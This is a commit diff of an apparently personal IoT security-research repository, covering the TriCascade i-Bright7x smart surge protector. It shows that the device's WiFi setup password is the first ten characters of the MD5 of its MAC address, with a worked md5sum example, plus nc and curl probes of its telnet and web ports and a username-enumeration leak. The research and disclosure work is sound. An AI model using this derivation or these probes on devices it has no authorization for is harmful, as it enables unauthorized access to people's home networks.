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can get the SSID password, which is unchangeable from the MAC address of the device - not uid=0, but pretty bad

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Conor Horan-Kates 2018-05-22 20:32:14 -07:00
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2
README.md
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@ -9,7 +9,7 @@ name | description | url
[CUJO](http://trycujo.com) | purposeful MiTM device for internet 'security' | [cujo](cujo) [CUJO](http://trycujo.com) | purposeful MiTM device for internet 'security' | [cujo](cujo)
[LG webOS](http://www.lge.com) | HTTP phone home is never a good idea | [lg-webOS](lg_webOS) [LG webOS](http://www.lge.com) | HTTP phone home is never a good idea | [lg-webOS](lg_webOS)
[HooToo TripMate series](http://www.hootoo.com) | there are lots of problems, some end up at root access | [hootoo](hootoo) [HooToo TripMate series](http://www.hootoo.com) | there are lots of problems, some end up at root access | [hootoo](hootoo)
[TriCascade i-Bright7x](http://www.tricascade.com/i-bright7x-smart-surge-protector/) | work in progress, some recon done | [i-Bright7x](i-Bright7x) [TriCascade i-Bright7x](http://www.tricascade.com/i-bright7x-smart-surge-protector/) | work in progress, SSID password from MAC address, telnet but no access | [i-Bright7x](i-Bright7x)
[Lametric Time](http://lametric.com) | WiFi/internet enabled clock/LED display, unnecessary services exposed, root access obtainable | [lametric](lametric) [Lametric Time](http://lametric.com) | WiFi/internet enabled clock/LED display, unnecessary services exposed, root access obtainable | [lametric](lametric)
[Philips Hue](http://www.meethue.com) | device communication insecure, Ruby library/CLI to control via REST HTTP | [hued](https://github.com/chorankates/hued) [Philips Hue](http://www.meethue.com) | device communication insecure, Ruby library/CLI to control via REST HTTP | [hued](https://github.com/chorankates/hued)
[RAV FileHub](http://www.ravpower.com/ravpower-rp-wd02-filehub-6000mah-power-bank.html) | a HooToo by any other name.. but with a twist | [rav-filehub](rav-filehub) [RAV FileHub](http://www.ravpower.com/ravpower-rp-wd02-filehub-6000mah-power-bank.html) | a HooToo by any other name.. but with a twist | [rav-filehub](rav-filehub)

207
i-Bright7x/README.md
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@ -4,6 +4,10 @@
- [digging](#digging) - [digging](#digging)
- [nmap](#nmap) - [nmap](#nmap)
- [jnlp](#jnlp) - [jnlp](#jnlp)
- [live ports](#live_ports)
- [23](#23)
- [80](#80)
- [8080](#8080)
## device ## device
name | value name | value
@ -90,41 +94,168 @@ unzipping gives a bit of a clue about the structure - but nothing really interes
it looks like the password is derived from the MAC address of the device - which is worse than it sounds, because the WiFi network it exposes for configuration is `'B7' + $MAC_ADDRESS` it looks like the password is derived from the MAC address of the device - which is worse than it sounds, because the WiFi network it exposes for configuration is `'B7' + $MAC_ADDRESS`
walking the Java code backwards:
* `DeviceAP.extractMac(string)` returns characters 8-20 of whatever it is passed
* `a`, is called with the result of above, which initially was misunderstood since the decompilation was ambiguous
* `substring(0, 10).toLowerCase()` is called on whatever `a` returns
within the context of what concrete values our device uses:
key | value
---------|-------
MAC | `8C:C7:AA:02:97:48`
SSID | `B78CC7AA029748` // so.. 'B7' + $MAC - ':'
ID | `TC0600008CC7AA029748` // so 'TC060000' + $MAC
password | `97451790c9`
8-20 characters fits as the actual MAC address inside the ID value, but that gives us '8cc7aa0297', not '97451790c9'
however, using the second-level deobfuscation feature of jadx turns `a` into `m56a`:
```java ```java
// from com/insnergy/wifi/applet/e.java // com/insnergy/wifi/p002b/C0020a.java
public final void run() { public static String m56a(String str) {
try { try {
if (b.a((CharSequence)this.a.a) || !RegexPattern.DEVICE_ID.isValid(this.a.a)) { if (C0021b.m61a((CharSequence) str)) {
throw new ApiException("Not a valid device ID : " + this.a.a); return "";
}
DeviceAP deviceAP = DeviceAP.of(this.a.a);
WiFiDeviceAPI.a(this.a.b, deviceAP.getSsid(this.a.a), deviceAP.getPassword(this.a.a));
Thread.sleep(1000);
WiFiDeviceAPI.b(this.a.b, WiFiDeviceAPI.d(this.a.b).trigger(), "");
return;
} }
... MessageDigest instance = MessageDigest.getInstance("MD5");
``` instance.update(str.getBytes());
return new HexBinaryAdapter().marshal(instance.digest());
in a roundabout way, we're right: the MAC address is being pulled out of the device ID, which is `'TC060000' + $MAC_ADDRESS`, hence the `substring` } catch (NoSuchAlgorithmException e) {
e.toString();
additionally, it looks like the signature for `a` is `($IP, $SSID, $PASSWORD)` return "";
```java
// from com/insnergy/wifi/device/api/c.java
public final Connect a(String object, String string, String string2, String string3) {
String string4 = "Connect?ssid={0}&secmode={1}&encrypt={2}";
MessageFormat messageFormat = new MessageFormat(string4);
if (b.b((CharSequence)string3)) {
messageFormat = new MessageFormat(string4 + "&conpass={3}");
}
object = this.a(messageFormat, new String[]{object, string, string2, string3});
return (Connect)this.a((JSONObject)object, new Connect());
} }
}
``` ```
giving us the final step we need:
```
$ echo -n 8CC7AA029748 | md5sum
97451790c91d3c78bee70be7bac5f9b0
$ echo 97451790c91d3c78bee70be7bac5f9b0 | cut -c1-10
97451790c9
```
the first 10 characters of the MD5 sum of the MAC address is the SSID password.
unfortunately, this password does not work when attempting to log in to the web application running on :80
## live ports
### 23
```
$ nc 192.168.17.1 23
BRIGHT7 login: admin
admin
Password: admin
Login incorrect
```
there is a 1-2 second delay before declaring the login incorrect, making bruteforce even less desirable than usual.
### 80
attempts to login leak validity of username and password independently.
when trying with `admin`, get redirected to `/index.htm?wrongpass1`:
```
$ curl http://192.168.17.1/cgi-bin/login.apply -v -d 'username=admin&password=password1234'
...
* Connected to 192.168.17.1 (192.168.17.1) port 80 (#0)
> POST /cgi-bin/login.apply HTTP/1.1
...
>
< HTTP/1.0 200 OK
< Content-Type: text/html
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="refresh" content="0;URL='/index.htm?wrongpass1'">
...
* Closing connection 0
```
and when trying with `user`, get redirected to `/index.htm?usernotfound`:
```
$ curl http://192.168.17.1/cgi-bin/login.apply -v -d 'usern
ame=user&password=user'
* Trying 192.168.17.1...
* TCP_NODELAY set
* Connected to 192.168.17.1 (192.168.17.1) port 80 (#0)
> POST /cgi-bin/login.apply HTTP/1.1
> Host: 192.168.17.1
> User-Agent: curl/7.54.0
> Accept: */*
> Content-Length: 27
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 27 out of 27 bytes
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Type: text/html
< Pragma: no-cache
< Cache-Control: no-cache,must-revalidate
< Expired: -9999
< Vary: *
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html
4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="refresh" content="0;URL='/index.htm?usernotfound'">
</head>
<body style="visibility:hidden;">
</body>
</html>
Set-Cookie: username=user;expire=-1;path=/
Set-Cookie: password=user;expire=-1;path=/
Set-Cookie: lang=en_US;expire=-1;path=/
Set-Cookie: cookieno=388505;expire=-1;path=/
Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html
4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="refresh" content="0;URL='/dashboard_overview.html'">
</head>
<body style="visibility:hidden;">
</body>
</html>
```
but curiously, the `/dashboard_overview.html` route leaks. unfortunately it is just a mobile/desktop redirector:
```
$ curl http://192.168.17.1/dashboard_overview/
<!DOCTYPE html >
<html>
<head>
<title>Index</title>
<script type='text/javascript' src="jquery.js" > </script>
<script type='text/javascript' src="detectmobilebrowser.js" > </script>
<script type="text/javascript">
$(document).ready(function() {
if (!$.browser.mobile) {
window.location.href = '/index.html';
} else {
window.location.href = '/mobile.html';
}
});
</script>
</head>
<body>
</body>
</html>
```
### 8080
```java ```java
// //
@ -143,15 +274,15 @@ additionally, it looks like the signature for `a` is `($IP, $SSID, $PASSWORD)`
``` ```
this is the only reference to this address, have not dug to deeply this is the only reference to this address, and 'goform' doesn't lead to any obvious web frameworks or patterns
making recon difficult is the 'always 200' responses we see:
password: 97451790c9 ```
$ curl http://192.168.17.1:8080/goform/test
<html><head><title>Document Error:Data follows</title></head>
<body><h2>Access Error:200 Data follows</h2>
<p>Form test is not defined</p></body></html>
```
key | value trying a few simple form names all proved to return the same response
-----|-------
MAC | `8C:C7:AA:02:97:48`
SSID | `B78CC7AA029748` // so.. 'B7' + $MAC
ID | `TC0600008CC7AA029748` // so 'TC060000' + $MAC
8CC7AA029748 in decimal is 154789178677064